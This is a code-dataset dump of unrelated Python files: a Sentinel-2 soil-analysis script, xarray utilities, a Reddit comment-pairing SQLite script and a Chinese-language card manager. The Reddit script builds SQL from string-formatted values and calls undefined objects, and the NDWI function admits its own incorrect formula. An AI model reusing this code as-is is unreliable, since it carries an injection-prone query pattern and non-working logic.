plt.boxplot(\n model_scores_df_transposed, labels=[r for r in model_scores_df_transposed.columns], showmeans=True\n )\n plt.savefig(f\"{ANALYSIS_RESULTS_DIR}/{soil_test_field}_10_20_top_performing_bands_box.jpg\")\n plt.show()\n\n [\n _plot_10_best_performing_combinations(soil_test_field)\n for soil_test_field in (CARBON_RATING, NITROGEN_RATING, POTASSIUM_RATING, PHOSPHORUS_RATING)\n ]\n\n def test_different_classifiers(self):\n \"\"\"\n Iterate through and test a number of classifiers. We get 3 different scores which are added to results\n which is then converted to a dataframe and plotted\n \"\"\"\n\n results = {}\n\n # Get the dataframe we want to work with\n fields_df = self.get_farm_bounds_as_pandas_df_for_analysis()\n\n # test_bands = [MEAN_NDWI, MEAN_NDVI]\n\n # test_bands = list(set(ALL_BANDS) - set([BAND_SCL_20M, BAND_SCL_60M, BAND_TCI_10M, BAND_TCI_20M]))\n\n # Just use a subset of all bands for now\n test_bands = [\n BAND_8_10M,\n BAND_2_10M,\n BAND_4_10M,\n BAND_3_10M,\n ]\n # Specify band - look at carbon rating initially. Remove ratings of 0 as these are records with no results\n fields_df = fields_df[fields_df[CARBON_RATING] > 0]\n\n # Split into test and train. Looking at carbon for the moment\n x_train, x_test, y_train, y_test = train_test_split(\n fields_df[[band for band in test_bands]], fields_df[CARBON_RATING], train_size=0.75, shuffle=True\n )\n\n C = 10\n kernel = 1.0 * RBF([1.0, 1.0]) # for GPC\n\n # Linear SVC -> KNeighbours -> SVC\n # (see https://scikit-learn.org/stable/tutorial/machine_learning_map/index.html)\n classifiers = {\n \"LinearSVC\": LinearSVC(),\n \"LinearSVC modified\": LinearSVC(C=2, class_weight=\"balanced\"),\n \"SVC (Linear kernel)\": SVC(kernel=\"linear\", C=1, probability=True, random_state=0),\n \"SVC (Linear kernel 2)\": SVC(kernel=\"linear\", C=10, gamma=10, probability=True, random_state=0),\n \"KNeighbors\": KNeighborsClassifier(),\n \"SVC (Linear kernel)\": SVC(kernel=\"linear\", C=C, probability=True, random_state=0),\n \"SVC (rbf kernel)\": SVC(kernel=\"rbf\", C=C, probability=True, random_state=0),\n \"L1 logistic\": LogisticRegression(\n C=C, penalty=\"l1\", solver=\"saga\", multi_class=\"multinomial\", max_iter=10000\n ),\n \"L2 logistic (Multinomial)\": LogisticRegression(\n C=C, penalty=\"l2\", solver=\"saga\", multi_class=\"multinomial\", max_iter=10000\n ),\n \"L2 logistic (OvR)\": LogisticRegression(\n C=C, penalty=\"l2\", solver=\"saga\", multi_class=\"ovr\", max_iter=10000\n ),\n \"logistic\": LogisticRegression(solver=\"liblinear\", random_state=0),\n # \"GPC\": GaussianProcessClassifier(kernel),\n \" DecisionTreeClassifier\": DecisionTreeClassifier(),\n \" DecisionTreeClassifier (entropy)\": DecisionTreeClassifier(criterion=\"entropy\", max_depth=3),\n \" RandomForest Classifier\": RandomForestClassifier(n_estimators=100),\n # \"SDG\": SGDClassifier(\n # max_iter=1000, tol=0.01\n # ), # Stocastic models can offer different results each time they are run. Their behaviour incorporates elements for randomness.\n # see https://machinelearningmastery.com/different-results-each-time-in-machine-learning/\n }\n\n for index, (name, classifier) in enumerate(classifiers.items()):\n\n # We score each classifier in 3 different ways out of interest\n scores_dict = {}\n\n kf = StratifiedKFold(n_splits=5, shuffle=True)\n scores_stratified_KFold = cross_val_score(classifier, x_train, y_train, cv=kf)\n # Can use cross_val_score to get averages\n scores_cross_val = cross_val_score(classifier, x_train, y_train, cv=5)\n log.info(\n name\n + \" %0.2f accuracy with a standard deviation of %0.2f\"\n % (scores_cross_val.mean(), scores_cross_val.std())\n )\n classifier = classifier.fit(x_train, y_train)\n\n log.info(f\"{name} coefficient of determination (train): {classifier.score(x_train, y_train)}\")\n log.info(f\"{name} coefficient of determination (test): {classifier.score(x_test, y_test)}\")\n y_pred = classifier.predict(x_test)\n accuracy = accuracy_score(y_test, y_pred)\n # Maybe we should use the average from scores here\n results[name] = accuracy\n log.info(\"Accuracy for %s: %0.1f%% \" % (name, accuracy * 100))\n\n cm = confusion_matrix(y_test, y_pred)\n log.info(cm)\n c = plot_confusion_matrix(classifier, x_test, y_test, cmap=\"GnBu\")\n c.ax_.set_title(f\"{name}, Accuracy {accuracy}\")\n plt.show()\n\n scores_dict[\"scores_stratified_KFold\"] = scores_stratified_KFold.mean()\n scores_dict[\"scores_cross_val\"] = scores_cross_val.mean()\n scores_dict[\"accuracy_score\"] = accuracy\n results[name] = scores_dict\n\n # Plot the scores for each in bar charts\n model_scores_df = pd.DataFrame.from_dict(results, orient=\"index\")\n fig, axs = plt.subplots(figsize=(15, 15))\n axs.set_xlabel(\"Classifier model\")\n axs.set_ylabel(\"Score\")\n axs.tick_params(axis=\"both\", labelsize=20)\n model_scores_df.plot.bar(ax=axs)\n plt.rcParams.update({\"font.size\": 20})\n plt.xticks(rotation=45, ha=\"right\")\n fig.suptitle(\"Model scores comparison\")\n plt.show()\n\n # Display the same info in a boxplot\n model_scores_df_transposed = model_scores_df.transpose()\n fig, axs = plt.subplots(figsize=(15, 15))\n axs.set_xlabel(\"Classifier model\")\n axs.set_ylabel(\"Score\")\n fig.suptitle(\"Model scores comparison\")\n plt.xticks(rotation=45, ha=\"right\")\n plt.boxplot(model_scores_df_transposed, labels=[r for r in classifiers.keys()], showmeans=True)\n plt.savefig(f\"{ANALYSIS_RESULTS_DIR}/classifier_comparison_carbon.jpg\")\n plt.show()\n\n def perform_analysis(self):\n \"\"\"\n Work in progress - perform various analysis to see if we can find any relationships between band means and\n soil test results\n \"\"\"\n\n # Plot a summary image containing RGB images of all of our fields\n # self._plot_rgb_for_fields_chosen_for_analysis()\n\n # Plot correlation matrices for each test field\n # Have to treat each individually as we have results for some and not others\n # soil_test_columns = [NITROGEN_RATING, PHOSPHORUS_RATING, POTASSIUM_RATING, CARBON_RATING]\n # [self._correlation_plots(soil_test_columns, field) for field in soil_test_columns]\n\n # Test list of classifiers with 10m bands to see if there is any relationship with carbon soil results.\n # TODO - check other soil test results and also try other band combinations\n # self.test_different_classifiers()\n\n # Focus on LinearSVC. Pass all combinations of the 10 and 20m bands to this model, store and plot accuracy scores\n # for each of the soil test categories\n # self._test_linear_svc_classifier_with_different_band_combinations_inputs()\n\n # Plot the best performing band combinations (based on output from _test_linear_svc_classifier_with_different_band_combinations_inputs())\n self._plot_best_performing_linear_svc_classifier_with_different_band_combinations_inputs()\n\n def get_farm_bounds_as_pandas_df_for_analysis(self) -> DataFrame:\n \"\"\"\n Convert to normal dataframe rather than Geopandas as strange issues plotting sometimes\n Remove some bands that are not required for analysis\n :return:\n \"\"\"\n # Convert to normal dataframe rather than Geopandas as strange issues plotting sometimes\n fields_df = pd.DataFrame(self.farm_bounds_32643)\n # Get rid of bands we don't need for analysis\n fields_df.drop(\n [BAND_SCL_20M, BAND_SCL_60M, \"farm_id(from_platform)\", BAND_TCI_10M, BAND_TCI_20M], axis=1, inplace=True\n )\n # Drop any rows that don't have band values\n fields_df = fields_df[fields_df[BAND_8_10M].notna()]\n fields_df.to_csv(f\"{FARM_SUMMARIES_DIRECTORY}/farms.csv\")\n return fields_df\n\n def generate_mean_ndwi(self, product):\n \"\"\"\n Calculate the mean NDWI(Normalised Difference Water Index) for a farm for the specified product and add result to product\n :param product:\n :return:\n \"\"\"\n\n # FIXME This is incorrect\n # See https://en.wikipedia.org/wiki/Normalized_difference_water_index\n # We should be using band 8A (864nm) and band 11 (1610nm)\n # or band 8A (864nm) and band 12 (2200nm)\n\n # Don't think we can do this at present until we resample so the bands are at the same resolution\n\n green_path = product[BAND_3_10M]\n nir_path = product[BAND_8_10M]\n\n if green_path and nir_path:\n\n with rasterio.open(green_path) as red:\n green_band = red.read(1)\n out_meta = red.meta.copy()\n with rasterio.open(nir_path) as nir:\n nir_band = nir.read(1)\n\n # Allow division by zero\n np.seterr(divide=\"ignore\", invalid=\"ignore\")\n # Calculate NDVI\n # ndvi = (b4.astype(float) - b3.astype(float)) / (b4 + b3)\n # https://custom-scripts.sentinel-hub.com/custom-scripts/sentinel-2/ndwi/\n # Index = (NIR - MIR)/ (NIR + MIR) using Sentinel-2 Band 8 (NIR) and Band 12 (MIR).\n ndwi = (green_band.astype(float) - nir_band.astype(float)) / (\n green_band.astype(float) + nir_band.astype(float)\n )\n # Get the mean (discounting nan values)\n product[\"mean_ndwi\"] = np.nanmean(ndwi)\n return product\n\n # plt.imshow(ndvi)\n # plt.show()\n # vmin, vmax = np.nanpercentile(ndvi, (1,99))\n # # img_plt = plt.imshow(ndvi, cmap='gray', vmin=vmin, vmax=vmax)\n # plt.imshow(ndvi, cmap='Greens', vmin=vmin, vmax=vmax)\n # show(ndvi, cmap=\"Greens\")\n\n # out_raster_path = f\"{Path(green_path).parent}/ndwi.tif\"\n #\n # out_meta.update(dtype=rasterio.float32, count=1)\n # with rasterio.open(\n # out_raster_path,\n # \"w\",\n # **out_meta,\n # ) as out:\n # out.write(ndwi, 1)\n\n # show(ndvi, cmap=\"Greens\")\n\n # Verify\n # with rasterio.open(ndvi_raster_path, \"r\") as src:\n # fig, ax = plt.subplots(figsize=(15, 15))\n # show(src, ax=ax, cmap=\"Greens\")\n # plt.show()\n\n return product\n\n def load_farm_cloud_free_products_df(self, farm_details: Series):\n \"\"\"\n Load the specified farm products which should be in summaries directory saved as geojson\n :param farm_details:\n :return: GeoDataFrame\n \"\"\"\n\n farm_products_path = self.get_farm_cloud_free_products_df_path(farm_details)\n if not os.path.exists(farm_products_path):\n sys.exit(\n f\"Exiting as unable to find {farm_products_path}. Please run script with --crop-individual-farms \"\n f\"to generate geojson list of cloud free products for each farm\"\n )\n return gpd.read_file(farm_products_path)\n\n def get_farm_cloud_free_products_df_path(self, farm_details: Series):\n \"\"\"\n Get path to store cloud free products for specified farm\n :param farm_details:\n :return:\n \"\"\"\n\n field_id = farm_details[\"field_id\"]\n return f\"{FARM_SUMMARIES_DIRECTORY}/{field_id}/{field_id}_cloud_free_products.geojson\"\n\n def plot_mean_ndvi(self):\n def _plot_ndvi(farm_details):\n cloud_free_products_df = self.load_farm_cloud_free_products_df(farm_details)\n\n df = pd.DataFrame(cloud_free_products_df)\n df.plot(x=\"generationdate\", y=\"mean_ndvi\")\n plt.show()\n\n cloud_free_products_df[\"generationdate\"] = pd.to_datetime(cloud_free_products_df[\"generationdate\"])\n cloud_free_products_df.set_index(\"generationdate\", inplace=True)\n cloud_free_products_df[\"mean_ndvi\"].plot()\n\n plt.show()\n\n fig, axs = plt.subplots(figsize=(12, 4))\n # cloud_free_products_df[\"mean_ndvi\"].plot.area(ax=axs)\n cloud_free_products_df[\"mean_ndvi\"].plot(ax=axs, x=\"A\", y=\"B\")\n axs.set_ylabel(\"Reflectance\")\n fig.suptitle(f\"{farm_details['field_id']}:{farm_details['farm_name']}\")\n plt.show()\n\n self.farm_bounds_32643.apply(_plot_ndvi, axis=1)\n\n def apply_raster_analysis_function_single_farm(self, farm_details: Series, analysis_func):\n \"\"\"\n Generic function to apply the specified analysis function for each farm in suitable products\n :param farm_df_index:\n :param analysis_func:\n :return:\n \"\"\"\n # farm_details = self.get_farm_from_dataframe(farm_df_index)\n cloud_free_products_df = self.load_farm_cloud_free_products_df(farm_details)\n\n field_id = farm_details[\"field_id\"]\n updated = cloud_free_products_df.apply(analysis_func, field_id=field_id, axis=1)\n\n # Save results\n updated.to_file(self.get_farm_cloud_free_products_df_path(farm_details), driver=\"GeoJSON\")\n\n # Add to master products list\n df = updated[[\"uuid\", f\"{field_id}_mean_ndvi\"]]\n self.products_df = pd.merge(self.products_df, df, on=\"uuid\", how=\"left\")\n self.save_products_df_to_geojson()\n\n def apply_raster_analysis_function_all_farms(self, analysis_func):\n \"\"\"\n Apply the specified analysis function to all farms\n :type analysis_func: the analysis to be performed for each farm on cloud free products\n\n \"\"\"\n self.farm_bounds_32643.apply(\n self.apply_raster_analysis_function_single_farm, analysis_func=analysis_func, axis=1\n )\n\n def generate_all_farms_ndvi_rasters(self):\n \"\"\"\n Generate ndvi rasters for all farms in appropriate products\n :return:\n \"\"\"\n\n [\n self.apply_raster_analysis_function_single_farm(farm_index, self.generate_mean_ndvi)\n for farm_index in range(len(self.farm_bounds_32643))\n ]\n\n def generate_all_farms_band_histograms(self):\n\n [\n self.apply_raster_analysis_function_single_farm(farm_index, self.generate_band_histogram)\n for farm_index in range(len(self.farm_bounds_32643))\n ]\n\n def generate_all_farms_ndwi_rasters(self):\n \"\"\"\n Generate ndwi rasters for all farms in appropriate products\n :return:\n \"\"\"\n\n [\n self.apply_raster_analysis_function_single_farm(farm_index, self.generate_mean_ndwi)\n for farm_index in range(len(self.farm_bounds_32643))\n ]\n\n def generate_cloud_free_farm_product_lists(self, force_recreate=False):\n \"\"\"\n Generate a list of valid products for each farm. We can then add metrics such as mean ndvi etc. Save as geojson\n \"\"\"\n\n def _generate_product_list(farm_details):\n field_id = farm_details[\"field_id\"]\n farm_name_dir = f\"{FARM_SUMMARIES_DIRECTORY}/{field_id}\"\n os.makedirs(farm_name_dir, exist_ok=True)\n\n farm_products_path = self.get_farm_cloud_free_products_df_path(farm_details)\n\n if not os.path.exists(farm_products_path) or force_recreate:\n\n if \"cloud_free_products\" not in farm_details or force_recreate:\n # This adds list of cloud free products to farms df\n farm_details = self.set_cloud_free_products(farm_details)\n\n cloud_free_products_df = self.get_cloud_free_products_for_farm(BAND_4_10M, farm_details)\n\n def fix_band_paths(product):\n def _update_df_bands(band):\n product[band] = self.get_farm_raster_from_product_raster_path(field_id, product[band])\n\n [_update_df_bands(band) for band in ALL_BANDS]\n return product\n\n cloud_free_products_df = cloud_free_products_df.apply(fix_band_paths, axis=1)\n cloud_free_products_df.to_file(farm_products_path, driver=\"GeoJSON\")\n\n return farm_details\n\n # Save geojson of valid products for each field\n self.farm_bounds_32643 = self.farm_bounds_32643.apply(_generate_product_list, axis=1)\n self.save_farms_with_valid_products()\n\n\n@click.command(context_settings=dict(ignore_unknown_options=True))\n@click.option(\n \"--download\",\n \"-d\",\n is_flag=True,\n help=\"Download Sentinel 2 data. Note the downloader can be unreliable and you may have to kill and restart the script repeatedly\",\n)\n@click.option(\n \"--crop-individual-farms\",\n \"-ci\",\n is_flag=True,\n help=\"Crop Sentinel 2 rasters, filter clouds and calculate band means\",\n)\n@click.option(\"--farm_summaries\", \"-fs\", is_flag=True, help=\"Generate summary jpegs for specified bands over time\")\n@click.option(\"--farm_analysis\", \"-fa\", is_flag=True, help=\"Perform analysis on farms dataframe. In progress\")\n@click.option(\n \"--sentinel_date_range\",\n required=True,\n type=(str, str),\n default=(\"20210401\", \"20220430\"),\n help='Specify the date window to get sentinel data. Default is (\"20210401\", \"20220401\").'\n \" Has to be combined with -d flag to start download\",\n)\ndef main(download, crop_individual_farms, sentinel_date_range, farm_summaries, farm_analysis):\n \"\"\"\n Download and process Sentinel 2 rasters.\n\n If you wish to download (-d), please ensure you set \"SENTINEL_USER\" and \"SENTINEL_PASSWORD\"\n environment variables. An account can be created at https://scihub.copernicus.eu/dhus/#/self-registration\n\n :param farm_summaries:\n :param crop_individual_farms:\n :param download:\n :param sentinel_date_range:\n \"\"\"\n data_handler = DataHandler(sentinel_date_range)\n\n if download:\n data_handler.download_sentinel_products()\n\n if crop_individual_farms:\n data_handler.crop_rasters_to_individual_fields_bbox()\n data_handler.generate_cloud_free_farm_product_lists(force_recreate=True)\n data_handler.generate_band_means_at_soil_test_date()\n\n if farm_summaries:\n data_handler.generate_individual_farm_bands_summary(filter_clouds=True)\n\n if farm_analysis:\n data_handler.perform_analysis()\n\n log.info(\"Done\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"colingor/soil-composition","sub_path":"soil_composition.py","file_name":"soil_composition.py","file_ext":"py","file_size_in_byte":85417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13358306948","text":"import os\r\nimport xarray as xr\r\nimport pandas as pd\r\nfrom typing import Tuple\r\n\r\n\r\nfrom utils.data_paths import export_feature_paths\r\n\r\nLIST_DF_NAMES = [\r\n \"train.csv\",\r\n \"val.csv\",\r\n \"test.csv\",\r\n] # Filenames for test train val dataframes\r\n\r\n\r\ndef data_split(data: xr.Dataset) -> Tuple[xr.Dataset, xr.Dataset, xr.Dataset]:\r\n \"\"\"This generates split dataset with merged input and output values.\r\n Currently the data is split in the ratio 12:1:1 (train:validation:test) as follows -\r\n Training: 2010 -> 2015\r\n Validation: January 2016 -> June 2016\r\n Testing: July 2016 -> December 2016.\r\n\r\n Parameters\r\n -----------\r\n data : xr.Dataset\r\n Combined xarray dataset of input and output\r\n\r\n Returns\r\n --------\r\n Tuple[xr.Dataset, xr.Dataset, xr.Dataset]\r\n Returns tuple with training,validation and test xarray datasets.\r\n \"\"\"\r\n data_train = data.sel(\r\n time=slice(data.time.values[0], data.time.values[71])\r\n ) # The indicies 0 and 71 corresponds to the 72 months for train split\r\n\r\n data_val = data.sel(\r\n time=slice(data.time.values[72], data.time.values[77])\r\n ) # The indicies 72 and 77 corresponds to the 6 months for val split\r\n\r\n data_test = data.sel(\r\n time=slice(data.time.values[78], data.time.values[-1])\r\n ) # The indicies 78 and -1 corresponds to the 6 months for test split\r\n\r\n return data_train, data_val, data_test\r\n\r\n\r\ndef data_combined(path: str, path_fuelload: str, path_save: str = None) -> xr.Dataset:\r\n \"\"\"This creates combined xarray dataset with output values\r\n\r\n Parameters\r\n -----------\r\n path : str\r\n path of root folder where all individual datasets are stored\r\n path_fuelload : str\r\n path in which combined xarray dataset is to be saved\r\n path_save : str\r\n path of fuel load dataset. Defaults to None.\r\n\r\n Returns\r\n --------\r\n xr.Dataset\r\n Returns combined xarray dataset with input and output variables\r\n \"\"\"\r\n # Process to combine all the datasets\r\n list_files = os.listdir(path)\r\n list_data = []\r\n\r\n # import datafile paths\r\n time_dependant_features, time_independant_features = export_feature_paths()\r\n\r\n for filename in list_files:\r\n if filename in time_dependant_features:\r\n list_data.append(\r\n xr.open_dataset(\r\n os.path.join(path, filename),\r\n )\r\n )\r\n combined_dataset = xr.merge(list_data)\r\n\r\n # handle static variables\r\n for filename in time_independant_features:\r\n feature_dataset = xr.open_dataset(os.path.join(path, filename))\r\n feature_dataset = feature_dataset.expand_dims(\r\n {\"time\": combined_dataset.time.values}\r\n )\r\n combined_dataset = combined_dataset.merge(feature_dataset)\r\n\r\n output = xr.open_dataset(\r\n path_fuelload,\r\n )\r\n output = output.rename_vars({\"__xarray_dataarray_variable__\": \"actual_load\"})\r\n combined_dataset = combined_dataset.merge(output)\r\n\r\n if path_save is not None:\r\n combined_dataset.to_netcdf(path_save)\r\n\r\n return combined_dataset\r\n\r\n\r\n# Conversion to dataframe\r\ndef data_to_narray(\r\n dataset: xr.Dataset, path_df: str = None\r\n) -> Tuple[pd.DataFrame, pd.DataFrame, pd.DataFrame]:\r\n \"\"\"This creates pandas dataframe of train ,validation and test data\r\n\r\n Parameters\r\n -----------\r\n dataset : xr.Dataset\r\n Combined xarray dataset\r\n path_df : str\r\n Path where train,test,val dataframe as CSV is to be saved. Defaults to None.\r\n\r\n Returns\r\n --------\r\n Tuple[pd.DataFrame, pd.DataFrame, pd.DataFrame]\r\n Returns a tuple with training,validation,test dataframes.\r\n \"\"\"\r\n data_train, data_val, data_test = data_split(dataset)\r\n\r\n list_df = [data_train, data_val, data_test]\r\n list_df_names = LIST_DF_NAMES\r\n list_df_processed = []\r\n\r\n for i, df in enumerate(list_df):\r\n df = (\r\n df.to_dataframe()\r\n .reset_index([\"time\", \"latitude\", \"longitude\"])\r\n .dropna()\r\n .reset_index(drop=True)\r\n )\r\n df[\"month\"] = pd.DatetimeIndex(df[\"time\"]).month\r\n list_df_processed.append(df)\r\n\r\n if path_df is not None:\r\n df.to_csv(os.path.join(path_df, list_df_names[i]), index=False)\r\n\r\n return list_df_processed[0], list_df_processed[1], list_df_processed[2]\r\n","repo_name":"ecmwf-projects/ai-vegetation-fuel","sub_path":"src/utils/generate_io_arrays.py","file_name":"generate_io_arrays.py","file_ext":"py","file_size_in_byte":4408,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"37"} +{"seq_id":"5548822598","text":"# -*- coding: utf-8 -*-\n\n__author__ = \"Leidinice Silva\"\n__email__ = \"leidinicesilva@gmail.com\"\n__date__ = \"Dec 04, 2023\"\n__description__ = \"This script import basemap function\"\n\nimport numpy as np\n\nfrom mpl_toolkits.basemap import Basemap\n\t\npath = '/marconi/home/userexternal/mdasilva/github_projects/shp'\n\n\ndef basemap(lat, lon):\n\t\n\tmap = Basemap(projection='cyl', llcrnrlon=-80., llcrnrlat=-38., urcrnrlon=-34.,urcrnrlat=-8., resolution='c')\n\tmap.drawmeridians(np.arange(-80., -34., 12.), size=6, labels=[0,0,0,1], linewidth=0.4, color='black')\n\tmap.drawparallels(np.arange(-38., -8., 6.), size=6, labels=[1,0,0,0], linewidth=0.4, color='black')\n\tmap.readshapefile('{0}/shp_america_sul/america_sul'.format(path), 'america_sul', drawbounds=True, color='black')\n\t\n\tlons, lats = np.meshgrid(lon, lat)\n\txx, yy = map(lons,lats)\n\t\n\treturn map, xx, yy\n\n","repo_name":"LeidiniceSilva/pypostdoc","sub_path":"sam_3km/import_basemap.py","file_name":"import_basemap.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4973805602","text":"from typing import List\n\nfrom gmatch.gmatch.items import GoogleItem\n\n\ndef check_integrity(parsed_companies: List[GoogleItem]) -> None:\n missed_companies = []\n for parsed_company in parsed_companies:\n not_parsed = all([sl.href is None for sl in parsed_company.search_list])\n if not_parsed:\n missed_companies.append(parsed_company)\n if missed_companies:\n raise Exception(\n \"Data not parsed for next companies: %s\" %\n ', '.join([mc.company.name for mc in missed_companies])\n )\n","repo_name":"icune/c2s","sub_path":"gmatch/analytics/check_integrity.py","file_name":"check_integrity.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11838004870","text":"import os\nimport json\nfrom datetime import datetime\nimport logging\nimport sqlite3\n\nData_dir = \"../deep_data/data\"\nMIN_SCORE = 0\nMax_Words = 100\nData_Len = 10000\n\nrow_counter = 0\npaired_rows = 0\nInsert = 0\nUpdate = 0\nLowScore = 0\nBad_Text = 0\nlogging.basicConfig(\n format=\"%(asctime)s %(levelname)-8s %(message)s\",\n level=logging.INFO,\n datefmt=\"%Y-%m-%d %H:%M:%S\",\n)\nDateTimeInt = int(datetime.now().timestamp())\nconnection = sqlite3.connect(\"{}.db\".format(DateTimeInt))\nc = connection.cursor()\n\n\ndef create_table():\n c.execute(\n \"CREATE TABLE IF NOT EXISTS communication(parent_id TEXT PRIMARY KEY, comment_id TEXT UNIQUE, parent TEXT, comment TEXT, subreddit TEXT, unix INT, score INT)\"\n )\n\n\ndef format_data(data):\n data = (\n data.replace(\"\\r\\n\", \" newlinechar \")\n .replace(\"\\n\", \" newlinechar \")\n .replace(\"\\r\", \" newlinechar \")\n .replace('\"', \"'\")\n )\n return data\n\n\ndef sql_replace_comment(args):\n global Update\n Update += 1\n query = session.query(Comment).filter_by(parent_id=args[\"parent_id\"])\n query.update(args)\n\n\ndef sql_insert(args):\n global Insert\n Insert += 1\n comment = Comment(**args)\n session.add(comment)\n\n\ndef acceptable(data):\n if len(data.split(\" \")) > Max_Words or len(data) < 1:\n return False\n elif len(data) > Data_Len:\n return False\n elif data == \"[deleted]\":\n return False\n elif data == \"[removed]\":\n return False\n else:\n return True\n\n\ndef find_parent(pid):\n try:\n sql = \"SELECT comment FROM communication WHERE comment_id = '{}' LIMIT 1\".format(\n pid\n )\n c.execute(sql)\n result = c.fetchone()\n if result != None:\n return result[0]\n else:\n return False\n except Exception:\n return False\n\n\ndef find_existing_score(pid):\n try:\n sql = \"SELECT score FROM communication WHERE parent_id = '{}' LIMIT 1\".format(\n pid\n )\n c.execute(sql)\n result = c.fetchone()\n if result != None:\n return result[0]\n else:\n return False\n except Exception as e:\n # print(str(e))\n return False\n\n\nif __name__ == \"__main__\":\n create_table()\n for filepath in sorted(os.listdir(Data_dir)):\n if (\n filepath.startswith(\".\")\n or filepath.endswith(\".bz2\")\n or not filepath.startswith(\"RC\")\n or filepath != \"RC_2018-07\"\n ):\n continue\n filepath = os.path.join(Data_dir, filepath)\n logging.info(\"Proccessing : {} \".format(filepath))\n with open(filepath, buffering=100000) as f:\n for row in f:\n row_counter += 1\n try:\n row = json.loads(row)\n parent_id = row[\"parent_id\"].split(\"_\")[1]\n comment_id = row[\"id\"]\n body = format_data(row[\"body\"])\n created_utc = row[\"created_utc\"]\n score = row[\"score\"]\n parent_data = find_parent(parent_id)\n\n args = {\n \"comment_id\": comment_id,\n \"parent_id\": parent_id,\n \"score\": score,\n \"subreddit\": row[\"subreddit\"],\n \"parent\": None if not parent_data else parent_data,\n \"comment\": body,\n \"created_utc\": row[\"created_utc\"],\n }\n if score < MIN_SCORE:\n LowScore += 1\n else:\n if not acceptable(body):\n Bad_Text += 1\n else:\n existing_comment_score = find_existing_score(parent_id)\n if existing_comment_score:\n if score > existing_comment_score:\n sql_replace_comment(args)\n else:\n sql_insert(args)\n if parent_data:\n paired_rows += 1\n except Exception as e:\n logging.info(str(e))\n pass\n if row_counter % 1000 == 0:\n logging.info(\n \"row_counter: {} paired_rows:{} Update: {} Insert: {} LowScore:{} Bad_Text:{}\".format(\n row_counter, paired_rows, Update, Insert, LowScore, Bad_Text\n )\n )\n session.flush()\nsession.commit()\n# logging.info(\"Cleaning up!\")\n# session.query(Comment).filter(Comment.comment.isnot(None)).delete()\n","repo_name":"joseph-vedadi/chatroom","sub_path":"generate_db.py","file_name":"generate_db.py","file_ext":"py","file_size_in_byte":4791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19085230713","text":"\n\ndef main():\n\n entrada = input(\"Inserta una lista de numeros separada por espacios: \")\n numeros = entrada.split(\" \")\n numeros = list(map(int, numeros))\n print(\"Has introducido la lista {}\".format(numeros))\n meseta = 0\n cociente = 1\n longitud_mesetas =[]\n for numero in range(len(numeros)):\n\n if numero == 0:\n temp = numeros[numero]\n meseta += 1\n\n elif temp == numeros[numero]:\n\n meseta +=1\n else:\n cociente +=1\n longitud_mesetas.append(meseta)\n meseta = 1\n temp = numeros[numero]\n longitud_mesetas.append(meseta)\n\n\n media = sum(longitud_mesetas)/cociente\n print(\"La longitud media de las mesetas es:{}\".format(media))\n\n\n\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"Saturno10/Ejercicios_IP","sub_path":"Python/Examen_IP_8_enero_19/Ejercicio_1/ejercicio_1.py","file_name":"ejercicio_1.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21053791695","text":"#记录所有名字的字典\ncard_list=[]\n\ndef show_menu():\n print('*'*50)\n print('欢迎使用【名片管理系统】v 1.0')\n print('1.新增名片')\n print('2.显示名片')\n print('3.查询名片')\n print('')\n print('0.退出系统')\n print('*'*50)\n\ndef new_card():\n #新增名片\n print('*'*50)\n print('新增名片')\n #1.提示用户输入名片的详细信息\n name_str=input('请输入姓名:')\n phone_str=input('请输入电话:')\n qq_str=input('请输入qq:')\n email_str=input('请输入邮箱:')\n #2.使用用户输入的信息建立一个名片字典\n card_dict={\n 'name':name_str,\n 'phone':phone_str,\n 'qq':qq_str,\n 'email':email_str\n }\n #追加名片字典添加到列表中\n card_list.append(card_dict)\n #提示用户添加成功\n print('添加%s的名片成功'%name_str)\n print(card_list)\n # print(type(card_list))\n\ndef show_all():\n #显示名片\n print('*'*50)\n print('显示所有名片')\n #TODO 判断是否存在名片记录,如果没有,请使用新增名片功能\n if len(card_list)==0:\n print('当前没有任何的名片记录,请使用新增名片功能添加名片!!!')\n # return 返回函数执行结果\n # return 下方的代码不会执行\n # 如果 return 后面没任何的内容,表示会返回到调用函数的位置\n # 并且不返回任何的结果\n return \n #打印表头\n for name in [\"姓名\",\"电话\",\"QQ\",\"邮箱\"]:\n print(name,end='\\t\\t')\n #打印分割线\n # print('='*50)\n #字典的输出\n for card_dict in card_list:\n print('\\n%s\\t\\t%s\\t\\t%s\\t\\t%s\\t\\t'%(card_dict['name'],\n card_dict['phone'],\n card_dict['qq'],\n card_dict['email'],\n ))\n\ndef serch_card():\n #查询名片\n print('*'*50)\n print('搜素名片')\n find_name=input('请输入要搜索的姓名:')\n for card_dict in card_list:\n if card_dict['name']==find_name:\n print('姓名\\t\\t电话\\t\\tQQ\\t\\t邮箱')\n print('\\n%s\\t\\t%s\\t\\t%s\\t\\t%s\\t\\t'%(card_dict['name'],\n card_dict['phone'],\n card_dict['qq'],\n card_dict['email'],\n ))\n #TODO 针对找到的名片记录修改or删除操作\n deal_card(card_dict)#调用处理名片函数 传参\n break\n else:\n print('抱歉,没有找到%s'%find_name)\n \ndef deal_card(find_dict):#形参 传入参数\n print(find_dict)\n action_str=input(\"请选择要执行的操作 [1]修改 [2]删除 [0]返回上级目录\")\n if action_str=='1':\n print(find_dict)\n find_dict['name']=input_card_info(find_dict['name'],('姓名[回车不修改]:'))\n find_dict['phone']=input_card_info(find_dict['phone'],input('电话[回车不修改]:'))\n find_dict['qq']=input_card_info(find_dict['qq'],input('QQ[回车不修改]:'))\n find_dict['email']=input_card_info(find_dict['email'],input('邮箱[回车不修改]:'))\n # print(find_dict)\n print('修改名片成功')\n pass\n elif action_str=='2':\n card_list.remove(find_dict)\n print('名片删除成功')\n pass\n else:\n pass\n\ndef input_card_info(dict_value,tip_message):\n #1.提示用户输入内容\n 